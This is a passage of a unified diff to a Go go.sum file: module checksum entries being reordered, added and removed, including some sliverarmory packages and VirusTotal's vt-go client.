h1:KA0iuhEpwMl9L3R0Kg8KSE23CEszMbnhjBf/L2EJnSw= +github.com/sendgrid/sendgrid-go v3.16.1+incompatible h1:zWhTmB0Y8XCDzeWIm2/BIt1GjJohAA0p6hVEaDtHWWs= +github.com/SherClockHolmes/webpush-go v1.4.0/go.mod h1:XSq8pKX11vNV8MJEMwjrlTkxhAj1zKfxmyhdV7Pd6UA= +github.com/SherClockHolmes/webpush-go v1.4.0 h1:ocnzNKWN23T9nvHi6IfyrQjkIc0oJWv1B1pULsf9i3s= github.com/silenceper/wechat/v2 v2.1.11/go.mod h1:7Iu3EhQYVtDUJAj+ZVRy8yom75ga7aDWv8RurLkVm0s= +github.com/silenceper/wechat/v2 v2.1.11 h1:KA0iuhEpwMl9L3R0Kg8KSE23CEszMbnhjBf/L2EJnSw= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= -github.com/sirupsen/logrus v1.9.4 h1:TsZE7l11zFCLZnZ+teH4Umoq5BhEIfIzfRDZ1Uzql2w= github.com/sirupsen/logrus v1.9.4/go.mod h1:ftWc9WdOfJ0a92nsE2jF5u5ZwH8Bv2zdeOC42RjbV2g= -github.com/slack-go/slack v0.24.0 h1:oMz5WcCBVTkxpBxeA8QVxxK70R+XV/a0qNka6TRNGHQ= +github.com/sirupsen/logrus v1.9.4 h1:TsZE7l11zFCLZnZ+teH4Umoq5BhEIfIzfRDZ1Uzql2w= github.com/slack-go/slack v0.24.0/go.mod h1:H0yR/YBuRJ39RkE+JpV/d/oEsbanzTRowR82bCN0cEs= -github.com/sliverarmory/beignet v0.0.3 h1:ssR6AK9lirVulHZhQMyMmVAi0FcFwWxlh9LwKCJQ4X0= +github.com/slack-go/slack v0.24.0 h1:oMz5WcCBVTkxpBxeA8QVxxK70R+XV/a0qNka6TRNGHQ= github.com/sliverarmory/beignet v0.0.3/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4= -github.com/sliverarmory/malasada v0.0.3 h1:b2KG2NhQVfBIIrbP8rGJwmdh7o8LH6NKYKH1DF4No1U= +github.com/sliverarmory/beignet v0.0.3 h1:ssR6AK9lirVulHZhQMyMmVAi0FcFwWxlh9LwKCJQ4X0= github.com/sliverarmory/malasada v0.0.3/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ= -github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE= +github.com/sliverarmory/malasada v0.0.3 h1:b2KG2NhQVfBIIrbP8rGJwmdh7o8LH6NKYKH1DF4No1U= github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk= -github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM= +github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE= github.com/sony/sonyflake v1.0.0/go.mod h1:Jv3cfhf/UFtolOTTRd3q4Nl6ENqM+KfyZ5PseKfZGF4= -github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= -github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY= +github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM= github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo= -github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= -github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU= +github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY= +github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4= +github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU= +github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= +github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= -github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spiffe/go-spiffe/v2 v2.6.0 h1:l+DolpxNWYgruGQVV0xsfeya3CsC7m8iBzDnMpsbLuo= github.com/spiffe/go-spiffe/v2 v2.6.0/go.mod h1:gm2SeUoMZEtpnzPNs2Csc0D/gX33k1xIx7lEzqblHEs= +github.com/spiffe/go-spiffe/v2 v2.6.0 h1:l+DolpxNWYgruGQVV0xsfeya3CsC7m8iBzDnMpsbLuo= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= -github.com/stretchr/objx v0.5.3 h1:jmXUvGomnU1o3W/V5h2VEradbpJDwGrzugQQvL0POH4= github.com/stretchr/objx v0.5.3/go.mod h1:rDQraq+vQZU7Fde9LOZLr8Tax6zZvy4kuNKF+QYS+U0= +github.com/stretchr/objx v0.5.3 h1:jmXUvGomnU1o3W/V5h2VEradbpJDwGrzugQQvL0POH4= +github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= @@ -713,126 +713,101 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= -github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= -github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= -github.com/tailscale/certstore v0.1.1-0.20231202035212-d3fa0460f47e h1:PtWT87weP5LWHEY//SWsYkSO3RWRZo4OSWagh3YD2vQ= github.com/tailscale/certstore v0.1.1-0.20231202035212-d3fa0460f47e/go.mod h1:XrBNfAFN+pwoWuksbFS9Ccxnopa15zJGgXRFN90l3K4= -github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55 h1:Gzfnfk2TWrk8Jj4P4c1a3CtQyMaTVCznlkLZI++hok4= -github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55/go.mod h1:4k4QO+dQ3R5FofL+SanAUZe+/QfeK0+OIuwDIRu2vSg= -github.com/tailscale/golang-x-crypto v0.0.0-20250404221719-a5573b049869 h1:SRL6irQkKGQKKLzvQP/ke/2ZuB7Py5+XuqtOgSj+iMM= +github.com/tailscale/certstore v0.1.1-0.20231202035212-d3fa0460f47e h1:PtWT87weP5LWHEY//SWsYkSO3RWRZo4OSWagh3YD2vQ= github.com/tailscale/golang-x-crypto v0.0.0-20250404221719-a5573b049869/go.mod h1:ikbF+YT089eInTp9f2vmvy4+ZVnW5hzX1q2WknxSprQ= -github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 h1:4chzWmimtJPxRs2O36yuGRW3f9SYV+bMTTvMBI0EKio= +github.com/tailscale/golang-x-crypto v0.0.0-20250404221719-a5573b049869 h1:SRL6irQkKGQKKLzvQP/ke/2ZuB7Py5+XuqtOgSj+iMM= github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05/go.mod h1:PdCqy9JzfWMJf1H5UJW2ip33/d4YkoKN0r67yKH1mG8= -github.com/tailscale/hujson v0.0.0-20250605163823-992244df8c5a h1:a6TNDN9CgG+cYjaeN8l2mc4kSz2iMiCDQxPEyltUV/I= +github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 h1:4chzWmimtJPxRs2O36yuGRW3f9SYV+bMTTvMBI0EKio= +github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55/go.mod h1:4k4QO+dQ3R5FofL+SanAUZe+/QfeK0+OIuwDIRu2vSg= +github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55 h1:Gzfnfk2TWrk8Jj4P4c1a3CtQyMaTVCznlkLZI++hok4= github.com/tailscale/hujson v0.0.0-20250605163823-992244df8c5a/go.mod h1:EbW0wDK/qEUYI0A5bqq0C2kF8JTQwWONmGDBbzsxxHo= -github.com/tailscale/netlink v1.1.1-0.20240822203006-4d49adab4de7 h1:uFsXVBE9Qr4ZoF094vE6iYTLDl0qCiKzYXlL6UeWObU= +github.com/tailscale/hujson v0.0.0-20250605163823-992244df8c5a h1:a6TNDN9CgG+cYjaeN8l2mc4kSz2iMiCDQxPEyltUV/I= github.com/tailscale/netlink v1.1.1-0.20240822203006-4d49adab4de7/go.mod h1:NzVQi3Mleb+qzq8VmcWpSkcSYxXIg0DkI6XDzpVkhJ0= -github.com/tailscale/peercred v0.0.0-20250107143737-35a0c7bd7edc h1:24heQPtnFR+yfntqhI3oAu9i27nEojcQ4NuBQOo5ZFA= +github.com/tailscale/netlink v1.1.1-0.20240822203006-4d49adab4de7 h1:uFsXVBE9Qr4ZoF094vE6iYTLDl0qCiKzYXlL6UeWObU= github.com/tailscale/peercred v0.0.0-20250107143737-35a0c7bd7edc/go.mod h1:f93CXfllFsO9ZQVq+Zocb1Gp4G5Fz0b0rXHLOzt/Djc= -github.com/tailscale/web-client-prebuilt v0.0.0-20250124233751-d4cd19a26976 h1:UBPHPtv8+nEAy2PD8RyAhOYvau1ek0HDJqLS/Pysi14= +github.com/tailscale/peercred v0.0.0-20250107143737-35a0c7bd7edc h1:24heQPtnFR+yfntqhI3oAu9i27nEojcQ4NuBQOo5ZFA= github.com/tailscale/web-client-prebuilt v0.0.0-20250124233751-d4cd19a26976/go.mod h1:agQPE6y6ldqCOui2gkIh7ZMztTkIQKH049tv8siLuNQ= -github.com/tailscale/wf v0.0.0-20240214030419-6fbb0a674ee6 h1:l10Gi6w9jxvinoiq15g8OToDdASBni4CyJOdHY1Hr8M= +github.com/tailscale/web-client-prebuilt v0.0.0-20250124233751-d4cd19a26976 h1:UBPHPtv8+nEAy2PD8RyAhOYvau1ek0HDJqLS/Pysi14= github.com/tailscale/wf v0.0.0-20240214030419-6fbb0a674ee6/go.mod h1:ZXRML051h7o4OcI0d3AaILDIad/Xw0IkXaHM17dic1Y= -github.com/tailscale/wireguard-go v0.0.0-20250716170648-1d0488a3d7da h1:jVRUZPRs9sqyKlYHHzHjAqKN+6e/Vog6NpHYeNPJqOw= +github.com/tailscale/wf v0.0.0-20240214030419-6fbb0a674ee6 h1:l10Gi6w9jxvinoiq15g8OToDdASBni4CyJOdHY1Hr8M= github.com/tailscale/wireguard-go v0.0.0-20250716170648-1d0488a3d7da/go.mod h1:BOm5fXUBFM+m9woLNBoxI9TaBXXhGNP50LX/TGIvGb4= -github.com/tailscale/xnet v0.0.0-20240729143630-8497ac4dab2e h1:zOGKqN5D5hHhiYUp091JqK7DPCqSARyUfduhGUY8Bek= +github.com/tailscale/wireguard-go v0.0.0-20250716170648-1d0488a3d7da h1:jVRUZPRs9sqyKlYHHzHjAqKN+6e/Vog6NpHYeNPJqOw= github.com/tailscale/xnet v0.0.0-20240729143630-8497ac4dab2e/go.mod h1:orPd6JZXXRyuDusYilywte7k094d7dycXXU5YnWsrwg= -github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA= +github.com/tailscale/xnet v0.0.0-20240729143630-8497ac4dab2e h1:zOGKqN5D5hHhiYUp091JqK7DPCqSARyUfduhGUY8Bek= github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk= -github.com/technoweenie/multipartstreamer v1.0.1 h1:XRztA5MXiR1TIRHxH2uNxXxaIkKQDeX7m2XsSOlQEnM= +github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA= github.com/technoweenie/multipartstreamer v1.0.1/go.mod h1:jNVxdtShOxzAsukZwTSw6MDx5eUJoiEBsSvzDU9uzog= -github.com/tetratelabs/wazero v1.11.0 h1:+gKemEuKCTevU4d7ZTzlsvgd1uaToIDtlQlmNbwqYhA= +github.com/technoweenie/multipartstreamer v1.0.1 h1:XRztA5MXiR1TIRHxH2uNxXxaIkKQDeX7m2XsSOlQEnM= github.com/tetratelabs/wazero v1.11.0/go.mod h1:eV28rsN8Q+xwjogd7f4/Pp4xFxO7uOGbLcD/LzB1wiU= -github.com/textmagic/textmagic-rest-go-v2/v3 v3.0.43885 h1:Ve/YElmvgqg7yUQewiPfTV3PgCp1Tlu2PcPI0f8rAgg= +github.com/tetratelabs/wazero v1.11.0 h1:+gKemEuKCTevU4d7ZTzlsvgd1uaToIDtlQlmNbwqYhA= github.com/textmagic/textmagic-rest-go-v2/v3 v3.0.43885/go.mod h1:76AjUSm7GRxmgio8I/XbwaO5Vvw40HdSD/W3Z3M+OWo= -github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0= +github.com/textmagic/textmagic-rest-go-v2/v3 v3.0.43885 h1:Ve/YElmvgqg7yUQewiPfTV3PgCp1Tlu2PcPI0f8rAgg= github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs= -github.com/things-go/go-socks5 v0.1.0 h1:4f5dz0iMQ6cA4wseFmyLmCHmg3SWJTW92ndrKS6oERg= +github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0= github.com/things-go/go-socks5 v0.1.0/go.mod h1:Riabiyu52kLsla0YmJqunt1c1JEl6iXSr4bRd7swFEA= +github.com/things-go/go-socks5 v0.1.0 h1:4f5dz0iMQ6cA4wseFmyLmCHmg3SWJTW92ndrKS6oERg= github.com/tidwall/gjson v1.14.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/gjson v1.14.2/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= -github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= +github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= -github.com/tidwall/match v1.2.0 h1:0pt8FlkOwjN2fPt4bIl4BoNxb98gGHN2ObFEDkrfZnM= github.com/tidwall/match v1.2.0/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= +github.com/tidwall/match v1.2.0 h1:0pt8FlkOwjN2fPt4bIl4BoNxb98gGHN2ObFEDkrfZnM= github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= -github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4= github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= -github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY= +github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4= github.com/tidwall/sjson v1.2.5/go.mod h1:Fvgq9kS/6ociJEDnK0Fk1cpYF4FIW6ZF7LAe+6jwd28= -github.com/ttacon/builder v0.0.0-20170518171403-c099f663e1c2 h1:5u+EJUQiosu3JFX0XS0qTf5FznsMOzTjGqavBGuCbo0= +github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY= github.com/ttacon/builder v0.0.0-20170518171403-c099f663e1c2/go.mod h1:4kyMkleCiLkgY6z8gK5BkI01ChBtxR0ro3I1ZDcGM3w= -github.com/ttacon/libphonenumber v1.2.1 h1:fzOfY5zUADkCkbIafAed11gL1sW+bJ26p6zWLBMElR4= +github.com/ttacon/builder v0.0.0-20170518171403-c099f663e1c2 h1:5u+EJUQiosu3JFX0XS0qTf5FznsMOzTjGqavBGuCbo0= github.com/ttacon/libphonenumber v1.2.1/go.mod h1:E0TpmdVMq5dyVlQ7oenAkhsLu86OkUl+yR4OAxyEg/M= -github.com/u-root/u-root v0.14.0 h1:Ka4T10EEML7dQ5XDvO9c3MBN8z4nuSnGjcd1jmU2ivg= -github.com/u-root/u-root v0.14.0/go.mod h1:hAyZorapJe4qzbLWlAkmSVCJGbfoU9Pu4jpJ1WMluqE= -github.com/u-root/uio v0.0.0-20240224005618-d2acac8f3701 h1:pyC9PaHYZFgEKFdlp3G8RaCKgVpHZnecvArXvPXcFkM= -github.com/u-root/uio v0.0.0-20240224005618-d2acac8f3701/go.mod h1:P3a5rG4X7tI17Nn3aOIAYr5HbIMukwXG0urG0WuL8OA= -github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY= +github.com/ttacon/libphonenumber v1.2.1 h1:fzOfY5zUADkCkbIafAed11gL1sW+bJ26p6zWLBMElR4= github.com/ulikunitz/xz v0.5.15/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= -github.com/utahta/go-linenotify v0.5.0 h1:E1tJaB/XhqRY/iz203FD0MaHm10DjQPOq5/Mem2A3Gs= +github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY= +github.com/u-root/uio v0.0.0-20240224005618-d2acac8f3701/go.mod h1:P3a5rG4X7tI17Nn3aOIAYr5HbIMukwXG0urG0WuL8OA= +github.com/u-root/uio v0.0.0-20240224005618-d2acac8f3701 h1:pyC9PaHYZFgEKFdlp3G8RaCKgVpHZnecvArXvPXcFkM= +github.com/u-root/u-root v0.14.0/go.mod h1:hAyZorapJe4qzbLWlAkmSVCJGbfoU9Pu4jpJ1WMluqE= +github.com/u-root/u-root v0.14.0 h1:Ka4T10EEML7dQ5XDvO9c3MBN8z4nuSnGjcd1jmU2ivg= github.com/utahta/go-linenotify v0.5.0/go.mod h1:KsvBXil2wx+ByaCR0e+IZKTbp4pDesc7yjzRigLf6pE= -github.com/vishvananda/netns v0.0.5 h1:DfiHV+j8bA32MFM7bfEunvT8IAqQ/NzSJHtcmW5zdEY= +github.com/utahta/go-linenotify v0.5.0 h1:E1tJaB/XhqRY/iz203FD0MaHm10DjQPOq5/Mem2A3Gs= +github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE= +github.com/VirusTotal/vt-go v1.0.1/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE= +github.com/VirusTotal/vt-go v1.0.1 h1:rj/qugIY8XNC6ogwOaeJAGCOsb3nmY63+yuDMtHOx0Q= github.com/vishvananda/netns v0.0.5/go.mod h1:SpkAiCQRtJ6TvvxPnOSyH3BMl6unz3xZlaprSwhNNJM= -github.com/wk8/go-ordered-map/v2 v2.1.8 h1:5h/BUHu93oj4gIdvHHHGsScSTMijfx5PeYkE/fJgbpc= +github.com/vishvananda/netns v0.0.5 h1:DfiHV+j8bA32MFM7bfEunvT8IAqQ/NzSJHtcmW5zdEY= +github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAUnGx7j5l4= +github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1ow= github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw= -github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM= +github.com/wk8/go-ordered-map/v2 v2.1.8 h1:5h/BUHu93oj4gIdvHHHGsScSTMijfx5PeYkE/fJgbpc= github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg= -github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ= +github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM= github.com/xlab/treeprint v1.2.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0= -github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no= +github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ= github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM= -github.com/yiya1989/sshkrb5 v0.0.1 h1:oAKpXLBeZExjYDV9eTL2KypmXU+5oPrJtqDuR5JbWic= +github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no= github.com/yiya1989/sshkrb5 v0.0.1/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8= -github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4= +github.com/yiya1989/sshkrb5 v0.0.1 h1:oAKpXLBeZExjYDV9eTL2KypmXU+5oPrJtqDuR5JbWic= github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4= +github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4= +github.com/yuin/goldmark-emoji v1.0.5/go.mod h1:tTkZEbwu5wkPmgTcitqddVxY9osFZiavD+r4AzQrh1U= +github.com/yuin/goldmark-emoji v1.0.5 h1:EMVWyCGPlXJfUXBXpuMu+ii3TIaxbVBnEX9uaDC4cIk= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= -github.com/yuin/goldmark v1.7.1/go.mod h1:uzxRWxtg69N339t3louHJ7+O03ezfj6PlliRlaOzY1E= -github.com/yuin/goldmark v1.7.13 h1:GPddIs617DnBLFFVJFgpo1aBfe/4xcvMc3SB5t/D0pA= github.com/yuin/goldmark v1.7.13/go.mod h1:ip/1k0VRfGynBgxOz0yCqHrbZXhcjxyuS66Brc7iBKg= -github.com/yuin/goldmark-emoji v1.0.5 h1:EMVWyCGPlXJfUXBXpuMu+ii3TIaxbVBnEX9uaDC4cIk= -github.com/yuin/goldmark-emoji v1.0.5/go.mod h1:tTkZEbwu5wkPmgTcitqddVxY9osFZiavD+r4AzQrh1U= -github.com/yuin/gopher-lua v0.0.0-20220504180219-658193537a64 h1:5mLPGnFdSsevFRFc9q3yYbBkB6tsm4aCwwQV/j1JQAQ= +github.com/yuin/goldmark v1.7.13 h1:GPddIs617DnBLFFVJFgpo1aBfe/4xcvMc3SB5t/D0pA= +github.com/yuin/goldmark v1.7.1/go.mod h1:uzxRWxtg69N339t3louHJ7+O03ezfj6PlliRlaOzY1E= github.com/yuin/gopher-lua v0.0.0-20220504180219-658193537a64/go.mod h1:GBR0iDaNXjAgGg9zfCvksxSRnQx76gclCIb7kdAd1Pw= -github.com/zeebo/assert v1.3.0 h1:g7C04CbJuIDKNPFHmsk4hwZDO5O+kntRxzaUoNXj+IQ= +github.com/yuin/gopher-lua v0.0.0-20220504180219-658193537a64 h1:5mLPGnFdSsevFRFc9q3yYbBkB6tsm4aCwwQV/j1JQAQ= github.com/zeebo/assert v1.3.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= -github.com/zeebo/xxh3 v1.1.0 h1:s7DLGDK45Dyfg7++yxI0khrfwq9661w9EN78eP/UZVs= +github.com/zeebo/assert v1.3.0 h1:g7C04CbJuIDKNPFHmsk4hwZDO5O+kntRxzaUoNXj+IQ= github.com/zeebo/xxh3 v1.1.0/go.mod h1:IisAie1LELR4xhVinxWS5+zf1lA4p0MW4T+w+W07F5s= -go.mau.fi/util v0.9.3 h1:aqNF8KDIN8bFpFbybSk+mEBil7IHeBwlujfyTnvP0uU= -go.mau.fi/util v0.9.3/go.mod h1:krWWfBM1jWTb5f8NCa2TLqWMQuM81X7TGQjhMjBeXmQ= -go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64= -go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y= -go.opentelemetry.io/contrib/detectors/gcp v1.40.0 h1:Awaf8gmW99tZTOWqkLCOl6aw1/rxAWVlHsHIZ3fT2sA= -go.opentelemetry.io/contrib/detectors/gcp v1.40.0/go.mod h1:99OY9ZCqyLkzJLTh5XhECpLRSxcZl+ZDKBEO+jMBFR4= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.65.0 h1:XmiuHzgJt067+a6kwyAzkhXooYVv3/TOw9cM2VfJgUM= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.65.0/go.mod h1:KDgtbWKTQs4bM+VPUr6WlL9m/WXcmkCcBlIzqxPGzmI= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.65.0 